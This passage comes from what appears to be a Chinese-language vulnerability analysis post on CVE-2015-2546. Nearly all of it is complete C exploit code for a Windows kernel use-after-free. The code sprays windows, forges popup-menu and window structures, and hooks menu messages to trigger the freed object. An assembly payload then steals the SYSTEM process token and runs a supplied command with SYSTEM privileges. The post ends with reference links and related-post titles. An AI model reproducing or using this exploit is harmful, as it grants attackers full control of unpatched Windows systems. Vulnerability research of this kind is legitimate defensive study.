	//伪造PopupMenu数据结构
	DWORD spPopupMenu[0xD] = {0};
	spPopupMenu[0] = 0x66666666;
	spPopupMenu[1] = 0x66666666;
	spPopupMenu[2] = 0x66666666;
	spPopupMenu[3] = (DWORD)g_sptagWnd;//tagPOPUPMENU->spwndNextPopup
	spPopupMenu[4] = 0x66666666;
	spPopupMenu[5] = 0x66666666;
	spPopupMenu[6] = 0x66666666;
	spPopupMenu[7] = (DWORD)g_sptagWnd;//tagPOPUPMENU->spwndActivePopup
	spPopupMenu[8] = 0x66666666;
	spPopupMenu[9] = 0x66666666;
	spPopupMenu[0xA] = 0x66666666;
	spPopupMenu[0xB] = 0x66666666;
	spPopupMenu[0xC] = (DWORD)0;

	for (int i = 0; i < 0x100; i++) {
		SetClassLongPtrW(g_hWndList[i], GCL_MENUNAME, (LONG)spPopupMenu);
	}	
}

static
LRESULT
WINAPI
HintMenuWindowProc(HWND   hwnd, UINT   msg, WPARAM wParam, LPARAM lParam) {
	
	if (msg == MN_FINDMENUWINDOWFROMPOINT) {
		printf("[+]HintMenuWindowProc: msg == MN_FINDMENUWINDOWFROMPOINT\n");
		return (LRESULT)g_hMenuVictim;
	}
	return DefWindowProc(hwnd, msg, wParam, lParam);
}

static
VOID
CALLBACK
WindowsEventProc(
	HWINEVENTHOOK hWinEventHook,
	DWORD         event,
	HWND          hwnd,
	LONG          idObject,
	LONG          idChild,
	DWORD         idEventThread,
	DWORD         dwmsEventTime
) {
	printf("[+]Receive windows evet : EVENT_SYSTEM_MENUPOPUPSTART\n");
	switch (g_Counts)
	{
	case 0:
		g_hRootMenu = hwnd;
		printf("[+]g_hRootMenu = 0x%p\n", g_hRootMenu);
		//向根菜单发送鼠标点击消息
		SendMessageW(g_hRootMenu, WM_LBUTTONDOWN,0,MAKELONG(5,5));
		break;
	case 1:
		if (g_bIsAttacked)return;
		//保存此时的窗口句柄
		g_hHitMenu = hwnd;
		printf("[+]g_hHitMenu = 0x%p\n", g_hHitMenu);
		//向根菜单发送鼠标移动消息,从而进入漏洞函数
		SendMessageW(g_hRootMenu, WM_MOUSEMOVE, 0, MAKELONG(6, 6));
		break;
	}
	g_Counts++;
}

static
LRESULT
CALLBACK
WindowsHookProc(	INT code, WPARAM wParam, LPARAM lParam) {
	PCWPSTRUCT spCwp = (PCWPSTRUCT)lParam;
	if (g_bIsAttacked) {
		//如果已经攻击成功就直接交由系统的处理
		return CallNextHookEx(g_hhWndHook, code, wParam, lParam);
	}
	switch (spCwp->message)
	{
	case MN_FINDMENUWINDOWFROMPOINT:
		if (spCwp->hwnd == g_hHitMenu) {
			//为此时的窗口设置一个消息处理程序
			SetWindowLongW(spCwp->hwnd, GWL_WNDPROC, (LONG)HintMenuWindowProc);
		}
		break;
	case MN_SETTIMERTOOPENHIERARCHY:
		{//触发UAF漏洞
			printf("[+]Message:MN_SETTIMERTOOPENHIERARCHY\n");
			DestroyWindow(g_hMenuVictim);
			FakePopupMenu();
			break;
		}
		
	}
	return CallNextHookEx(g_hhWndHook, code, wParam, lParam);
}

LRESULT WINAPI VictimMenuProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam) {
	switch (msg)
	{
	case MN_SELECTITEM:
		return (LRESULT)0x10;
	case MN_SETTIMERTOOPENHIERARCHY:
		return (LRESULT)0;
	}
	return DefWindowProc(hwnd, msg, wParam, lParam);
}

VOID AttackPayload() {
	__asm {
		pushad; 保存堆栈状态
		xor eax, eax
		mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
		mov eax, [eax + EPROCESS_OFFSET]
		mov ebx, eax; ebx保存的是当前进程的_EPROCESS
		mov ecx, SYSTEM_PID

		; 开始搜索system进程的_EPROCESS
		SearchSystemPID :
		mov eax, [eax + PROCESS_LINK_OFFSET]
			sub eax, PROCESS_LINK_OFFSET
			cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
			jne SearchSystemPID

			; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
			mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
			mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
			popad; 恢复堆栈状态
			mov g_bIsAttacked, 1
	}
}

static DWORD WINAPI Exploit_Thread(LPVOID lParam) {
	//创建两个弹出式菜单,其中一个是MN_Normal,另一个是MN_Root
	HMENU MN_Normal= CreatePopupMenu();
	HMENU MN_Root = CreatePopupMenu();
	printf("[+]MN_Normal = 0x%p\n", MN_Normal);
	printf("[+]MN_Root = 0x%p\n", MN_Root);
	//设置菜单信息
	MENUINFO mni = { 0 };
	mni.cbSize = sizeof(MENUINFO);
	mni.fMask = MIM_STYLE;
	mni.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
	SetMenuInfo(MN_Normal, &mni);
	SetMenuInfo(MN_Root, &mni);
	//并将MN_Normal作为MN_Root的一个菜单项
	char szMnItemName[] = "item";
	AppendMenuA(MN_Root, MF_BYPOSITION | MF_POPUP, (UINT_PTR)MN_Normal, szMnItemName);
	AppendMenuA(MN_Normal, MF_BYPOSITION | MF_POPUP, 0, szMnItemName);

	//创建一个主窗口,作为承载菜单的窗口
	WNDCLASSEXW wcs = { 0 };
	wcs.cbSize = sizeof(WNDCLASSEXW);
	wcs.lpfnWndProc = DefWindowProcW;
	wcs.cbWndExtra = 0;
	wcs.hIcon = 0;
	wcs.hbrBackground = 0;
	wcs.style = 0;
	wcs.lpszMenuName = 0;
	wcs.hInstance = GetModuleHandleA(0);
	ATOM atom = 0;
	//创建0x100个窗口,为UAF做准备
	for (int i = 0; i < 0x100; ) {
		atom = 0;
		WCHAR wzClsName[20];
		wsprintfW(wzClsName, L"%d", ((i + 1) * 1998));
		wcs.lpszClassName = wzClsName;
		atom = RegisterClassExW(&wcs);
		if (!atom)continue;
		HWND hTmp = 0;
		hTmp= CreateWindowExW(0, (LPCWSTR)atom, NULL, WS_OVERLAPPED,
			0,
			0,
			0,
			0,
			NULL,
			NULL,
			GetModuleHandleA(NULL),
			NULL);
		if (!hTmp)continue;

		g_hWndList[i++] = hTmp;
	}
	atom = 0;
	wcs.lpszClassName = L"Main";
	wcs.hInstance = GetModuleHandleA(NULL);
	wcs.lpszMenuName = NULL;
	atom = RegisterClassExW(&wcs);
	if (!atom) {
		printf("[+]Error:%d\n",__LINE__-2);
		return 0;
	}

	HWND hWndMain  = CreateWindowExW(
		WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,//工具栏窗口
		(LPCWSTR)atom,
		NULL,
		WS_VISIBLE,
		0,
		0,
		1,
		1,
		NULL,
		NULL,
		GetModuleHandleA(0),
		NULL
	);
	if (!hWndMain) {
		printf("[!]Error:%d\n", __LINE__ - 15);
		return 0;
	}

	//自定义一个菜单,该菜单将用于漏洞利用
	g_hMenuVictim = CreateWindowExW(
		WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
		L"#32768",
		NULL,
		WS_POPUP | WS_BORDER,
		0,
		0,
		1,
		1,
		0,
		0,
		0,
		0
	);
	printf("[+]g_hMenuVictim = 0x%p\n", g_hMenuVictim);
	//为g_hMenuVictim设置一个窗口处理程序
	SetWindowLongW(g_hMenuVictim, GWL_WNDPROC, (LONG)VictimMenuProc);

	((PTHRDESKHEAD)g_sptagWnd)->pti = ((PTHRDESKHEAD)HMValidateHandle(g_hMenuVictim, 1))->pti;

	//设置消息钩子
	g_hhWndHook = SetWindowsHookExW(WH_CALLWNDPROC, WindowsHookProc, GetModuleHandleA(0), GetCurrentThreadId());
	//设置事件钩子程序
	SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
		GetModuleHandleA(NULL),
		WindowsEventProc,
		GetCurrentProcessId(),
		GetCurrentThreadId(),
		0);

	TrackPopupMenuEx(MN_Root, 0, 0, 0, hWndMain, NULL);

	MSG msg = { 0 };
	while (GetMessageW(&msg, NULL, 0, 0) && !g_bIsAttacked)
	{
		TranslateMessage(&msg);
		DispatchMessageW(&msg);
	}
	return 1;//SUCCESS
}

int main(int argc,char **argv)
{
	if (!Init()) {
		printf("[!]Error:%d\n", __LINE__ - 1);
		return 0;
	}
	//分配内存,用来伪造tagWND数据结构
	g_sptagWnd = (PDWORD)LocalAlloc(LMEM_ZEROINIT, 0x100);
	if (!g_sptagWnd) {
		printf("[!]Error:%d\n", __LINE__ - 2);
		return 0;
	}
	g_sptagWnd[5] = 0x40000;//Has Menu
	g_sptagWnd[0x18] = (DWORD)AttackPayload;		

	//创建一个攻击线程
	HANDLE hThreadAttack=CreateThread(0,0,Exploit_Thread,0,0,0);
	if (!hThreadAttack) {
		printf("[!]Error:%d\n",__LINE__-2);
		return 0;
	}
	WaitForSingleObject(hThreadAttack, INFINITE);

	if (g_bIsAttacked) {
		printf("\n\n[*]Try execute %s as SYSTEM!\n", argv[1]);
		system(argv[1]);
	}
	else {
		printf("[!]Error:Attack failed!\n");
	}
	CloseHandle(hThreadAttack);
    return 0;
}

■ 演示

CVE-2015-2546 分析

0x4 参考

https://xiaodaozhi.com/exploit/122.html
https://bbs.pediy.com/thread-263673-1.htm

上一篇:CVE-2020-1472(域内提权)


下一篇:利用Windows 0day漏洞部署DevilsTongue恶意软件